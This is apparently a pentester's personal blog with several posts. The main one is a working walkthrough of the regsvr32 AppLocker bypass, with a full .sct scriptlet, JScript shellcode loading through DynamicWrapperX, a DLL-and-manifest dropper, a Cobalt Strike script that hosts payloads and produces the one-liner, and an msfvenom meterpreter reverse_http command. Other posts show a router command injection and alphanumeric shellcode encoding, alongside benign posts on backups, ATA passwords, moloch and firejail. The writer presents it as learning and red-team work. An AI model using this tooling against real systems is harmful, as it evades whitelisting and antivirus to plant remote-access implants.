playing with the regsvr32 applocker bypass

i was inspired to play around with the regsvr32 applocker bypass by reading this article published on the excellent “penetration testing lab” blog.

when i first read the blog entry, and a few other articles on the subject, i mistakenly thought that it would allow for the execution of exe files under applocker.  it’s an easy mistake to make.  unfortunately it is not the case!  this particular bypass ‘only’ enables the execution of scripts, such as jscript and vbscript

ok, first the basics. using a script just like the one on the “pen test lab” blog, i checked that i could run a jscript file

var r = new ActiveXObject("WScript.Shell").Run("cmd /k echo foo");

unsurprisingly, this popped a cmd window that says “foo”.  good.  i then configured default applocker rules on my pentesting lab’s dc, and then pushed the changes to my workstation.  what happens now?

again, unsurprising.  so now let’s package the jscript up in preparation for the bypass, in a file called command.sct:

<?XML version="1.0"?>
<scriptlet>
<registration 
progid="foo" 
classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
<script language="JScript">
<![CDATA[ 
var r = new ActiveXObject("WScript.Shell").Run("cmd /k echo foo"); 
]]>
</script>
</registration>
</scriptlet>

and the bypass command itself:

regsvr32 /u /n /s /i:command.sct scrobj.dll

alright then, it definitely works.  and it’s a beauty because we can point it at a remote script, it’s proxy-aware, it’s ssl-capable, it leaves hardly any forensic traces, and the file extension can be anything.  for example:

regsvr32 /u /n /s /i:https://totally-legit.com/news.html scrobj.dll

but what can we DO with this?  we still can’t execute an exe, we can ‘only’ use jscript and vbscript

the pen test lab guys suggested a couple of things:

  1. powershell web delivery.  this proposition begs the question: “but why don’t we just do that to begin with”.  the regsvr32 bypass won’t unblock powershell.exe if it’s blocked, and if it’s unblocked then we don’t need regsvr32 at all!  so let’s proceed as if powershell.exe was locked down, to make things more interesting, eh?
  2. download and execute an exe.  again, if we have the capability to execute an exe file, why don’t we just download it normally?  no, the problem is that we’re operating in an applocker-controlled environment, and we won’t be able to execute any old exe file.  and let’s proceed as if we can’t just stick the exe in %TEMP% and run it, again to make things more interesting

so what can we do with this scripting capability that perpetrates untold evilness, but isn’t going to need to run an exe, or to run powershell?

well, we can do lots of funky stuff with activex, LOTS as i learned today.  in fact i might try my hand at writing a malware agent using jscript at some point!  but while i was at the beginning of this journey i thought to myself ‘shellcode‘.

yes, i wanted to run arbitrary shellcode using this whitelist bypass <rubs hands>

initial hopes dashed

i found a really old blog post from 2008 by a guy called didier stevens, which seemed to be showing shellcode being executed from vbscript.  there was also a really cool companion script (dated 2015) that takes shellcode and generates a vbscript to run it.

unfortunately, through testing, it turned out that this wasn’t the sort of ‘vbscript’ that regsvr32 could use…  this sort of script was more heavyweight vba, and needed to be run within some sort of vba container.

further digging showed that a guy called casey smith, aka ‘subtee’ had done just that, using vbscript to execute the vba to run shellcode within the context of an excel spreadsheet!  really awesome, but i didn’t want to introduce such a dependency, and i don’t own ms office anyway.  damn! 🙂

dynamic wrapper x

i needed a way for normal vbscript, or jscript, to invoke the necessary windows apis that would allow shellcode invocation.  allocating memory pages, setting page permissions, writing the shellcode there, creating a thread and starting it at the correct point…

enter dynamic wrapper x, by a russian guy called yuri popov!  from his own description:

DynamicWrapperX - is an ActiveX component that you can use in a script (JScript, VBScript, etc.) to call:
- functions from a DLL (eg Windows API functions);
- in general any function whose address in memory known to you;
- functions whose native code (as a hex-string) you have available.

wow, that’s exactly what was needed!

further searching on this subject sent me right back into the arms of casey smith, who already had a poc for executing shellcode using regsvr32 and dynamicwrapperx!  here are the interesting parts, minus the regsvr32 boilerplate:

DX = new ActiveXObject("DynamicWrapperX"); // Create an object instance.
DX.Register("kernel32.dll", "VirtualAlloc", "i=luuu", "r=u");
var memLocation = DX.VirtualAlloc(0, 0x1000, 0x1000, 0x40 );
DX.Register("kernel32.dll", "GetCurrentProcess", "r=h");    
var procHandle = DX.GetCurrentProcess(); 
var scLocation = DX.VirtualAlloc(0, 0x1000, 0x1000, 0x40 );		

//msfvenom -p windows/exec -a x86 --platform win -e x86/shikata_ga_nai -f csharp CMD=calc.exe EXITFUNC=thread 
var sc = [0xdd,0xc6,0xb8,0x50,0x6e,0xc4,0xe2,0xd9,0x74,0x24,0xf4,0x5b,0x2b,0xc9,0xb1,...

for(var i = 0; i < sc.length; i++) {
    DX.NumPut(sc[i],scLocation,i);
}
DX.Register("kernel32.dll","CreateThread","i=uullu","r=u" );
var thread = DX.CreateThread(0,0,scLocation,0,0);

DX.Register("kernel32.dll", "WaitForSingleObject", "i=uu", "r=u");
DX.WaitForSingleObject(thread,0xFFFFFFFF);

i ran the poc (both locally and remotely) and it popped a calculator both times as expected.  woo! 😀

the dll registration problem

but… this needs the dynamicwrapperx.dll to be installed and registered… urgh. :-/ rather amusingly, the dll registration would seemingly need to be done via regsvr32! :-p

nosing through casey smith’s gists some more, i noticed something amazing: he’d also found a way to bypass the need to register the dll!

the unfortunate need to write to disk

i’d originally hoped that i’d end up with something that didn’t touch disk AT ALL.  and here we are, needing to drop TWO artifacts – a dll and a manifest – to disk…

furthermore, the day after i made this blog post a kind commentator let me know that the script itself would be written to a temp location and scanned, and which i verified with procmon

however, the dll has a detection rate of 0 on virustotal

..and the script is only detected by 2/5 (as HEUR:Trojan.Script.Generic)

so it’s not soooo bad 🙂 but anyway, as the commentator pointed out…  this is not supposed to be for stealth, it’s for bypass!  it is good for delivery convenience to have it all packaged up neatly in one file though

let it be noted that i was not the first chap to submit the dll to virustotal!  somebody beat me to it, as you can see

cribbing from other sources (because i’m not overly familiar with jscript), i fashioned the dropper functions.  i look to see whether the files exist before writing them, because if the dll is in usage already, by a previous long-running invocation of the exploit for example, then it’s locked and the script fails

function atob(base64) {
    var xmlObj = new ActiveXObject("MSXml2.DOMDocument");
    var docElement = xmlObj.createElement("Base64Data");
    docElement.dataType = "bin.base64";
    docElement.text = base64;
    return docElement.nodeTypedValue;
}

function write(content, to) { 
    var outputStream = new ActiveXObject("ADODB.Stream");
    outputStream.Type = 1; // 1 => binary 
    outputStream.Open();
    outputStream.Write(content);
    outputStream.SaveToFile(to, 2); // 2 => overwrite if exists (will fail if dll is in use)
    outputStream.Close();
}

function createManifest() {
    var dynwrap_manifest_b64 = "PD94bWwg...
    var dynwrap_manifest = atob(dynwrap_manifest_b64);
    write(dynwrap_manifest, "dynwrap.manifest");
}

function createDLL() {
    var dynwrapx_dll_b64 = "TVpsAAEA...
    var dynwrapx_dll = atob(dynwrapx_dll_b64);
    write(dynwrapx_dll, "dynwrapx.dll", 1);
}

var fileSystem = new ActiveXObject("Scripting.FileSystemObject");
if (! fileSystem.fileExists("dynwrap.manifest")) {
    createManifest();
}
if (! fileSystem.fileExists("dynwrapx.dll")) {
    createDLL();
}

are we good yet?

yep, now we have pretty much everything we need!

  • a way of invoking windows api calls (the dynamic wrapper x dll)
  • a way of avoiding the registration of the dll (using a manifest)
  • a dropper for the required files (dll + manifest)
  • 0 hits on virustotal

but let’s get some bonus learning – cobalt strike integration!

what i really wanted was a way to dynamically and conveniently package ANY shellcode into this kind of envelope, host it on a webserver, and be supplied with a nice little regsvr32 command that i could just copy paste on-target…  cobalt strike would be perfect for this

one of my near-term aims is to become a cobalt strike expert.  it’s a great tool, and i had the honor of meeting its author, raphael mudge,  quite recently.  i’ve used it a fair bit in red teaming exercises and whatnot, so it’s certainly no stranger to me.  and i’ve certainly leveraged the power of pre-existing cna scripts, but i’ve never written one myself.  so now seemed like as good a time as any!

cobalt strike’s underlying scripting language is called ‘sleep‘, and its higher level interface integration scripting language is called ‘aggressor script‘.  i just dived in and started flailing around until it became clear what was what 🙂

sub create_sct {
    local('$shellcode $shellcode_length $handle $sct');
    $shellcode = $1;
    $shellcode_length = $2;

    $handle = openf("/root/cobalt-strike/scripts/regsvr32.sct");
    $sct = readb($handle, -1);
    closef($handle);

    $sct = replace($sct, "%%SHELLCODE%%", $shellcode);
    $sct = replace($sct, "%%SHELLCODE_LENGTH%%", $shellcode_length);

    return $sct;
}

sub read_shellcode {
    local('$filename $handle $shellcode');
    $filename = $1;

    $handle = openf($filename);
    $shellcode = readb($handle, -1);
    closef($handle);

    return $shellcode;
}

sub encode_shellcode {
    local('$shellcode $encoded');
    $shellcode = $1;

    $encoded = unpack("H*", $shellcode)[0];
    $encoded = replace($encoded, "(..)", "0x\$0,");
    $encoded = substr($encoded, 0, strlen($encoded2) - 1);

    return $encoded;
}

sub setup_attack {
    local('%options $file $shellcode $shellcode_length $template');
    %options = $3;

    $file = %options["file"];
    $shellcode = read_shellcode($file);
    $shellcode_length = strlen($shellcode);
    $payload = encode_shellcode($shellcode);
    $template = create_sct($payload, $shellcode_length);

    $url = site_host(%options["host"], %options["port"], %options["uri"], $template, "text/plain", "regsvr32 /u /n /s /i:<url> scrobj.dll");
    $command = "regsvr32 /u /n /s /i:" . $url . " scrobj.dll";
    prompt_text("One-liner: ", $command, {});
}

popup attacks {
    item "regsvr32 applocker bypass" {
        local('$dialog %defaults');

        %defaults["uri"] = "/bananas.html";
        %defaults["host"] = localip();
        %defaults["port"] = 80;

        $dialog = dialog("regsvr32 applocker bypass", %defaults, &setup_attack);
        dialog_description($dialog, "regsvr32");
        drow_file($dialog, "file", "File:");
        drow_text($dialog, "uri", "URI Path:");
        drow_text($dialog, "host", "Local Host:");
        drow_text($dialog, "port", "Local Port:");
        dbutton_action($dialog, "Launch");

        dialog_show($dialog);
    }
}

putting it all together

first let’s make some shellcode to establish a beacon.  we can imagine our situation being that we have landed an rdp foothold and would now like to get our malware agent on there.  but, oh no, applocker is turned on and we can’t execute exes or scripts anywhere!  what’s a hacker to do?  😀

unfortunately, for reasons that eluded me within the day i spent on this project, cobalt strike’s raw (which i presumed to be shellcode) stageless beacon payload (all 240k of it) didn’t work.  but, no matter, cobalt strike is compatible with metasploit stagers, so we can use the shellcode for that…

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_http LHOST=192.168.56.101 LPORT=80 EXITFUNC=thread -f raw > stager.bin

great, now let’s package that payload in the delivery envelope and host it on cobalt strike!

we copy-paste the one-liner onto the target:

back on cobalt strike, thar she blows:

the files are available on github

what could be improved

  • i don’t like writing files to disk much.  it would be great to get away without doing that…  a reflective dll loader would sort half of it out, but then i’d be left with the problem of the manifest…  something to think about another day.  although reflective dll loading is a massive red flag for AV (as if reserving RWX memory and starting a new thread pointing at it wasn’t already!), i wouldn’t mind knocking one up, just for the experience
  • dynamic renaming of the dll and manifest.  having such fixed names does not seem at all discreet
  • any other ideas?  please do comment!

in summary

all in all, a very interesting day’s work.  i learned a ton!  and i was supposed to be doing something completely different – studying an offensive powershell course! 😀  tomorrow…

finally, please be aware that all i really did here in the end was do a lot of googling and looking at other folks’ stuff, and then simply gluing it all together 🙂  nothing original from me here.  massive props to casey smith aka subtee for his amazing work, pen test lab for getting me all interested in regsvr32, and to the authors of the the countless other sources i used to bollock it all together 😀 

finding command injections on a router using strace

this was my first router pentest.  it was a battery-powered portable mobile/wifi router which was to be sold on a foreign market. i learned so many things!  this is just one of them…

to perform command injection discovery on the web gui, i first used a browser and burp to meddle with parameters.  however, meddling with every field for every page in burp quickly became tiresome.  furthermore, it felt a bit too ‘blind’, since for any given field there might have been an injection point, but it was possible i just wasn’t attacking it correctly

i already had root telnet access into the router, thanks to a different security problem, so i had the router execute ‘ps’ with verbose output as fast as it could, dumping the results to file.  i then browsed through the web gui’s pages, and did a sort/uniq (and other filtering stuff) on the ps output to get a list of unique commands spawned by the web gui as it went about its business.  hunting through the output, i managed to find a command injection point.  but… i knew i had been lucky – ‘ps’ had just happened to see this command as it was being executed

what i really wanted was something listening to the web gui’s execve syscalls (i.e. when it forks a child process and then gets that child to do something), and in linux that’s what strace is for.  i hadn’t used strace before, but i knew about it enough to know it was what i needed! unfortunately strace was not on this router, and i had no experience whatsoever of cross-compiling utils for router chipsets/architetures (RALINK/MIPS in this case)

a much more experienced colleague pointed me in the direction of a helpful blog post.  i could download openwrt, which supports a lot of router chipsets/architectures, configure and build it for the correct target, then snaffle the strace binary from it.  nice!

sudo apt-get install libncurses5-dev gawk flex build-essential qemu-user
git clone git://git.openwrt.org/openwrt.git
cd openwrt
make menuconfig
[select the correct chipset and utils required]
make

about an hour later (on a 4 core i7 laptop!) it had built, hooray!  i transferred strace to a usb stick and then executed it on the router.  no dice.  why? i compared a binary from the device to my binary to see:

$ file date
date: ELF 32-bit LSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
$ file strace
strace: ELF 32-bit LSB executable, MIPS, MIPS32 rel2 version 1, dynamically linked, interpreter /lib/ld-musl-mipsel-sf.so.1, not stripped

durrrr 🙂 after some floundering around with the rats nest of makefiles in openwrt, i got it to link statically

diff -ur -x .git openwrt/package/devel/strace/Makefile openwrt-static/package/devel/strace/Makefile
--- openwrt/package/devel/strace/Makefile 2017-05-09 01:14:13.112386648 +0300
+++ openwrt-static/package/devel/strace/Makefile 2017-05-09 01:27:45.108752248 +0300
@@ -28,8 +28,11 @@
include $(INCLUDE_DIR)/package.mk

HOST_CFLAGS += -I$(LINUX_DIR)/user_headers/include
+TARGET_CFLAGS += -static
+TARGET_LDFLAGS += -static

CONFIGURE_VARS+= \
+ LDFLAGS="-static" \
LDFLAGS_FOR_BUILD="$(HOST_LDFLAGS)" \
CPPFLAGS_FOR_BUILD="$(HOST_CPPFLAGS)" \
CFLAGS_FOR_BUILD="$(HOST_CFLAGS)" \

rebuild it:

make package/devel/strace/{clean,compile,install}

my initial aim was to build ALL the util binaries statically, but after some considerable effort i decided quite conclusively that openwrt just doesn’t support this. static compilation has to be enabled (in a bespoke manner) on a per-package basis. i managed to do it for the utils i really wanted, like ‘ss’, ‘tcpdump’ and a handful of others, but for others i tried it just wasn’t happening. oh well!

now i had a static strace, i ran it against the web-gui process:

./strace -f -p 31722 -e execve 2>&1 | grep execve

but ran into a problem:

[pid 16478] execve("/bin/sh", ["sh", "-c", "echo 4 > /var/pcontrol_0/cpin"], [/* 7 vars */]) = 0

ooer, strace is truncating stuff. not good. the man page suggested the ‘-s’ option could stop the truncation, but it didn’t

google and stackoverflow to the rescue! it turned out i could recompile strace with output truncation disabled

the way the openwrt build works is that it downloads the compressed source of a package, unpacks it, applies patches if necessary, then compiles it.  so i could either create a patch or meddle with the downloaded source directly.  the proper approach would have been the former, but i chose the latter out of laziness :-p

cd dl
mkdir unpack
cp strace-4.11.tar.xz unpack
cd unpack
xz -d strace-4.11.tar.xz
tar -xvf strace-4.11.tar
rm strace-4.11.tar
cd strace-4.11/
gedit defs.h

[change the abbrev(tcp) value to be 0]
#define abbrev(tcp) 0

cd ..
tar -cvf strace-4.11.tar strace-4.11/
xz strace-4.11.tar
mv ./strace-4.11.tar.xz ..
cd ..
rm -rf unpack

rebuild it again:

make package/devel/strace/{clean,compile,install}

ok, great, now it dumps full output:

[pid 4342] execve("/bin/sh", ["sh", "-c", "echo 4 > /var/pcontrol_0/cpin"], ["USER=root", "LD_LIBRARY_PATH=/ram/lib:/lib:/lib/iptables", "HOME=/", "TERM=vt102", "PATH=/usr/bin:/bin:/usr/sbin:/sbin:/usr/bin/scripts", "SHELL=/bin/sh", "PWD=/ram/tmp/www3"]) = 0

now i just browsed through the web gui with a browser, submitting forms with entirely normal/expected data. it didn’t take long to find a new candidate injection:

[pid 1654] execve("/bin/sh", ["sh", "-c", "mac-control fixed 1 00:22:31:26:47:81"], ["USER=root", "LD_LIBRARY_PATH=/ram/lib:/lib:/lib/iptables", "HOME=/", "TERM=vt102", "PATH=/usr/bin:/bin:/usr/sbin:/sbin:/usr/bin/scripts", "SHELL=/bin/sh", "PWD=/"]) = 0

i sent the request to burp’s repeater, set the mac parameter to ’00:22:31:26:47:81;reboot;’, and voila! of course ‘reboot’ is a stupidly crass injection! adding a superuser with a known password, opening up telnet to wan, followed by a ‘check in’ call to an attacker-controlled domain would be the proper thing to do, for an appropriately shocking client demo

tracking execve calls may not be the only way to find command injections, and it won’t get them all, but it’s a nice trick to have in my book from now on!

backups to an encrypted volume using clonezilla

i had a few problems getting clonezilla to work

firstly, my live usb of clonezilla didn’t boot. turns out unetbootin, tuxboot, lili etc (i tried a few) don’t always edit the partition to be bootable and of type fat32. so while i’d formatted the usb to be fat32 and written the iso to it, it was still marked ‘linux, non-bootable’! using gnome-disks to edit the partition to fat32/bootable fixed it

so then i had clonezilla live booting. let it be said that clonezilla itself isn’t going to win any awards for clear instructions. i was paranoid i was going to write over my source drive by mistake, there was quite a bit of ambiguity in the first few screens

anyway, my second problem was one of encryption. clonezilla allows you to make encrypted backups, but i didn’t want that, i wanted to make unencrypted backups to an encrypted disk… i was going to use the same backup disk for rsync backups of bits of my filesystem too, you see. a disk password was out because my bios doesn’t support those for usb devices, even though the disk itself does. so i luks-encrypted my backup disk. but then clonezilla doesn’t support luks!

turns out the solution was easy. when clonezilla boots, it offers to drop you into a shell. do that, run the following commands, and then clonezilla will use your luks-encrypted disk as backup

sudo cryptsetup luksOpen /dev/sdN foo
<password>
sudo mount /dev/mapper/foo /home/partimag
clonezilla

…when prompted to mount the destination filesystem, just skip it (as it will offer by default), since you just did it…

after clonezilla has finished, it’ll drop you back into a shell. then you can do the following:

sudo sync
sudo umount /home/partimag
sudo crypysetup luksClose foo

# references
http://clonezilla.org/
https://sourceforge.net/p/clonezilla/feature-requests/60/

stack pointer alignment

i’m quite new to exploit writing.  as part of my n00bery, i learned a rather time-consuming and painful lesson: always make sure ESP is word-aligned!

i had a reasonably-sized region of memory which i could abuse, and so i filled it with nops and stuck my 2nd stage shellcode in there at an arbitrary/convenient place

then i adjusted ESP to point there in my 1st stage shellcode, and JMPed to it

unfortunately for me, my shellcode did not start on a word boundary, and so neither did ESP after my adjustment

even more unfortunately for me, everything – up to a point – behaved completely normally.  my second stage shellcode decoded itself with complete integrity and invoked third stage shellcode, which also decoded intact.  all of this was using a misaligned stack quite happily

but the final payload (be it bind or reverse shell, calc.exe… i tried a few!) never worked properly, despite being entirely correct

i debugged the decoded 3rd stage shellcode (reading C++ structs off the stack, what fun!) and everything looked normal… but the windows api would just give me a -1 result code and a generic error like ENOTSOCK.  ESPFUBAR would have saved me some time :-p

after a few hours of metaphorically tearing my hair out and getting nowhere, i decided to rewrite the exploit again from scratch, and got a shell.  using the exact same binary stages as i used before!

ok, so i had a working exploit now, but i NEEDED to know why it didn’t work first time.  i debugged both programs and compared the registers, stack content and memory regions at various points… everything was identical apart from my stack adjustment before the JMP… could it be…?

and yes, it was.  i tried adjusting ESP varying amounts and the win32 api calls only worked in the 3rd stage when ESP was word-aligned in memory!

so why does the rest of my shellcode, for example the decoder stub which also used the stack, work, but the win32 api barfs?  i’ve no idea 🙂  i just know that it does

i read somewhere that it would be inefficient to have a non-aligned stack (because 2 words have to be read instead of 1, then being spliced together), but it turns out from experiential observation that it actually messes stuff up too!

an expensive lesson learned 🙂

alphanumeric encoding of shellcode

if you have a bit of extra space to work with, sometimes it’s just easier to encode shellcode in this way rather than figure out the badchars.  or, you might only be able to use alphanumerics.  either way, msfvenom has you covered… with a little extra effort needed on our part

here’s the alphanumeric encoding option in action:

msfvenom <whatever> -e x86/alpha_mixed

but what you will actually get is an alphanumeric string with a few instructions of non-alphanumeric assembler at the front – hardly ideal!

let’s have a closer look:

egghunter.rb -e HX0R -a x86 -p windows -f raw  | msfvenom –payload – -a x86 –platform windows -e x86/alpha_mixed -f raw | shellnoob –intel –from-bin – –to-asm –

mov eax,esp # .byte 0x89,0xe0 # copy esp
fxch st(5) # .byte 0xd9,0xcd #
fnstenv [eax-0xc] # .byte 0xd9,0x70,0xf4 # dump state
pop esi # .byte 0x5e # eip is now at esp, pop it

6 of these the first 7 EIP-finding bytes of the alphanum decoder aren’t alphanumeric, which is defeating the whole point of the alphanumeric encoder!

these FNSTENV instruction helps the decoder find the location of EIP. the location of EIP is necessary so the alphanum decoder can calculate where to start its decoding from. the behavior of these EIP-finding instructions is rather detrimental to the stack, and so if you are jumping to ESP then you will need some NOPs in front of your shellcode, otherwise the FNSTENV instruction will cause corruption. on x86, this FNSTENV instruction writes x1C bytes to ESP-xC (so that ESP then points to EIP, which can be popped off), which means that your instructions need to be x10 past where ESP points at to get clear of the write (hence 16 NOPs).  it confused me at first that a this state-saving operation on ESP would cause data to ‘grow upwards’, but then i realized that FNSTENV isn’t a ‘save state to stack’ instruction (like PUSHAD/PUSHFD), it’s just a ‘dump state at address’ instruction (in this case esp-xC)!

but getting back on topic… there is a neat way of eradicating this non-alphanumeric preamble, using msfvenom’s ‘BufferRegister’ option

if you can get a register to point exactly to EXACTLY the start of your shellcode [no nop sleds allowed!], then you’re golden

here’s an example where we know that when we reach our shellcode, EDI will point directly at it (probably because we did a JMP EDI):

egghunter.rb -e HX0R -a x86 -p windows -f raw  | msfvenom –payload – -a x86 –platform windows -e x86/alpha_mixed -f raw BufferRegister=EDI

WYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIPfOqXJyodO1Rv20jc2bxJmfNElC5CjrTholxRw4p4p64OyXWLo3EJJnOQeywioHgAA

all alphanumeric!

the first thing this shellcode does is save EDI, so it knows where it started from (as we can see, courtesy of shellnoob):

push edi # .byte 0x57 # .ascii “57”

from there it can work out where to start decoding (EDI + something)

shellnoob

shellnoob takes shellcode in one format and generates output in another

i discovered it by accident in kali, typing ‘shell’ and then tab, thinking i would get ‘shellter’.  ‘shellnoob?  ooh, what is this?’ 🙂

supported input formats: asm, obj, bin, hex, c, shellstorm

supported output formats: asm, obj, exe, bin, hex, c, completec, python, bash, ruby, pretty, safeasm

examples of what you can do:

  • convert hex or binary shellcode into asm to inspect it
  • write or modify asm and convert it into a convenient format
  • wrap any shellcode with a c program that will load it into an WRX region and execute it (‘completec’)

standard command format:

shellnoob –from-<input_format> /fullpathto/input.file –to-<output_format> /fullpathto/output.file

example:

shellnoob –from-bin $PWD/shellcode.bin –to-asm $PWD/shellcode.asm

notes:

  1. shellnoob works with full paths.  if you don’t specify a full path it will assume that the file lives in its home directory (you don’t want this)
  2. shellnoob can accept stdin/stdout (use a hyphen instead of a filename)
  3. shellnoob sometimes barfs when pumping asm to stdout, using a file for output works fine though

ata passwords

i’m quite suspicious of ATA passwords, and i think that it justified by what has gone on in the past

1) disk manufacturers have been known to add backdoors

– seagate drives were once shipped with a hardcoded master password (printed on the drive itself), which people had trouble changing
http://forum.hddguru.com/viewtopic.php?t=15948&start=

– there are collections of ATA backdoor passwords on the internet, demonstrating that it was a widespread phenomenon
https://ipv5.wordpress.com/2008/04/14/list-of-hard-disk-ata-master-passwords/

– drive manufacturers have been induced or coerced into introducing firmware backdoors
https://www.techpowerup.com/209925/nsa-hides-spying-backdoors-into-hard-drive-firmware

2) BIOS manufacturers have been known to weaken the passwords passed to the disk by encoding/truncating them

– limiting the number of legal characters (reducing entropy)
– truncating or limiting the length of the password string (reducing entropy)
– converting all the characters to be case-insensitive (reducing entropy)
– translating ascii codes into ‘scan codes’ (reducing entropy)
– i would say this is all likely at the request of intelligence agencies
https://jbeekman.nl/blog/2015/03/lenovo-thinkpad-hdd-password/

3) the actual protections and limitations are often not clear

– i remember a story of a drive claiming ‘AES encryption’, but where only the encryption key was protected with AES, then the key was merely used to XOR the actual drive data (can’t find link)
– people might set the user password and not realize that there is a good chance of there being be a known, or trivially breakable, master password lurking in the background (which they could have changed but didn’t know they had to)
– transferring a disk to a machine with a different BIOS (manufacturer and/or version) may well not work out well, because the BIOS ‘translates’ the user input in a BIOS-specific way before forwarding it to the disk. i.e. successive generations of lenovos do it differently, and dell does it differently to lenovo, and so on

4) BIOS manufacturers have often backdoored their products, and a backdoored BIOS means your ATA password can easily be compromised

– likely out of incompetence/misguidedness at first, and then due to intelligence agency pressure
http://resources.infosecinstitute.com/nsa-bios-backdoor-god-mode-malware-deitybounce/
– ‘accidental‘ vulnerabilities can act as a backdoor into the BIOS

5) specialist services exist to remove user/master passwords from drives

– i don’t know whether this applies to the latest generations of drives or not, it could just be hype.. but who really knows?
http://www.hdd-tools.com/products/rrs/
http://www.hdd-tools.com/products/rrs/drives/samsung/ (“all Samsung 3.5″ and 2.5” drives!!!)

over time the ‘depth’ of the backdoor has increased. first it was just a ‘special string’ on the BIOS or disk, then it was a per-unit secret string, then it was a weakening of the entropy of what the user entered, and now it’s likely deep in the drive firmware

as the depth of the backdoor has increased, the comfort level to the user has increased, and the threat level has gone from ‘nextdoor neighbor’ to ‘an intelligence agency’. the trouble with backdoors, though, is that if they become public they can be used by anyone

anyway, i guess for the non-top-secret business case, the ATA password might well be good enough. without expensive specialist support or top secret knowledge, and having being careful to set the drive to ‘maximum’ security (not just ‘high’), the only way a ‘mere mortal’ can remove the protection is to also trigger a secure wipe of the disk

but for the case where a government might be interested in what’s on the disk (perhaps classified material from working on a military IT project), i’m not so sure!

however, even if we deployed LUKS as well, this is probably just a speed bump.  a backdoored BIOS can likely sniff the LUKS password, malware can likely insinuate itself into /boot…  and then there’s the physical attacks (cold boot or DMA atack to get the key, evil maid to implant a hardware keylogger or tamper with /boot, …). but let’s face it, most likely of all is that they’ll get you with a client-side attack which just bypasses everything :-p

yes, if someone wants that data badly enough, they’ll get it! 😀

running a local moloch server

i came across moloch at my new workplace and thought i’d run it locally and play around with it. it’s a scalable packet capture and analysis tool. it has a nice GUI, and an API to build tools with (e.g. alerting)

# install
git clone https://github.com/aol/moloch.git
cd moloch

# build
./easybutton-singlehost.sh Moloch INTERNAL encryption phrase: [0mgMolochRules1] MOLOCH: Adding user admin/admin

# add/change interfaces (if needed)
gedit /data/moloch/etc/config.ini
interface=eth0;wlp3s0

# fix up a script that was spewing errors
gedit /data/moloch/bin/run_capture.sh
(add) ulimit -l unlimited

# create some sketchy start/stop scripts (can’t believe some aren’t provided!!)
==== /data/moloch/bin/start
#!/bin/bash
/data/moloch/bin/run_es.sh
sleep 30
nohup /data/moloch/bin/run_capture.sh &
nohup /data/moloch/bin/run_viewer.sh &
===== /data/moloch/bin/stop
#!/bin/bash
ps -elf | grep moloch | awk -F ” ” ‘{print $4}’ | xargs kill -9

# restart moloch
/data/moloch/bin/stop
/data/moloch/bin/start

# connect
https://localhost:8005/
(admin/admin)

# change admin password
https://localhost:8005/settings?userId=admin

if you hit problems, look at the files in /data/moloch/logs. everything worked ok for me after the aforementioned steps

# links
https://github.com/aol/moloch
https://github.com/aol/moloch/wiki/API

linux process sandboxing with linux ‘user namespaces’ and firejail

i’m quite a fan of security-by-isolation, i.e. VMs and/or sandboxing. of course there are still vulnerabilities in the form of security-by-correctness failures (sandbox escapes), but i think they are far less likely to be found and widely exploited

i was initially considering running my internet-facing/vulnerable clients (browser, various messaging clients, etc) in a VM, but this seemed quite heavyweight and inconvenient

qubes would allow comparatively lightweight vms (they share the same resources such as filesystem), but that OS was out of the question because it can’t run some stuff i need it to (e.g. virtualbox VMs on top)

i figured i might not need to isolate an application in its own OS or filesystem, but rather use a sandbox. i came across sandboxie and then went on a hunt for a linux equivalent. i found firejail

it’s been described as ‘chroot on speed’, but it allegedly more secure than chroot. using linux kernel ‘user namespaces’, a container can be set up for a process so that it has its own private view of the filesystem, the network, processes, and so on

so for a potentially dangerous program (like suspected malware), one could run it in firejail where it has no internet access and no changes are persisted to the filesystem. alternatively, changes can be isolated to a private working space on the filesystem for the process (or process group)

it’s fine-grained control, so you can selectively disable ipv4, ipv6 or named pipes, whitelist or blacklist network interfaces (including localhost) or IP addresses, create a copy of the tcp/ip stack, whitelist or blacklist dirs/files, narrow permissions on the filesystem, hide other accounts entirely (such as root), reconfigure dns, and so on. amazingly you can even whitelist (or blacklist) the system calls that a process can make! amazing! but there are yet more features, such as replacing the process’s X11 server with one that allegedly cannot be screenshotted or keylogged, and whitelisting/blacklisting of ‘capabilities’ (of which there are about 35 in today’s linux kernel), which can be used to constrain superuser activities

firejail is easy to use, you just run ‘firejail <command>’. if it finds or is explicitly pointed-at a pre-baked profile for the <command> then that is leveraged, otherwise it defaults to a boilerplate profile. the default profile is generic.profile file if firejail is run by a regular user, and server.profile if run by root. profiles matching the application’s basename are searched-for first in ~/.config/firejail, then in /etc/firejail.  if you supply any other options to firejail apart from the jailed process name, then they override the respective part(s) of any loaded profile

firejail also logs attempts by the process to access blacklisted resources! and it has this nifty feature that you can symlink any binary to firejail, and firejail will look at the name it was given and then hunt for the real thing on the remainder of the path (so you could make a symlink called ‘firefox’ which pointed at the ‘firejail’ binary, and firejail would see it was actually called with name ‘firefox’, and load the real firefox in a firejail). it’s packed with good features!

firejail is incredibly easy to use. that is great, but i think is also slightly dangerous. for instance typing ‘firejail skype’ will launch the bundled profile at /etc/firejail/skype.profile and it will work fine, but i find the ignorance of what is going on under the covers a bit scary 🙂 also, i can see that profiles often use blacklisting, which i’m wary of because blacklisting is fragile.  of course whitelisting is also fragile, but in a different way 😀

so while initially i will use those pre-build profiles (of which there are many!), my goal, *eventually*, is to learn all about firejail and build my own profiles based purely on whitelisting. in fact the recommended approach for whitelisting is ‘run and profile the process with no permissions, see what breaks, fix the profile and try again’. using this approach i should build up a library of custom profiles and confidence in what firejail is allowing/disallowing, plus a much better idea of what the processes i’m jailing are actually trying to do! when i get a bit more expert then another blog post will materialize

# install firejail
apt-get install firejail

# example invocations (these all have pre-built profiles)
firejail google-chrome-stable
firejail firefox
firejail skype
firejail /opt/Wire/wire <– requires downloading the wire profile and an .inc file from https://github.com/netblue30/firejail/tree/master/etc

# look at the firejailed process tree
firejail –tree

lastly, firejail is itself a setuid program, which is a security risk! so there is definitely a degree of ‘security by correctness’, but hopefully it is small and the program drops its privileges after running a relatively small surface-area of code. all in all, and without being an expert in this area, i’m well impressed with firejail!

INTERESTING NOTE! an exploit for firejail has arrived! it seems to have been possible because the setuid attack surface was too large… http://seclists.org/oss-sec/2017/q1/20 – hopefully this will be addressed soon

# links
https://lwn.net/Articles/531114/ (linux kernel ‘user namespaces’ feature overview)
https://github.com/netblue30/firejail
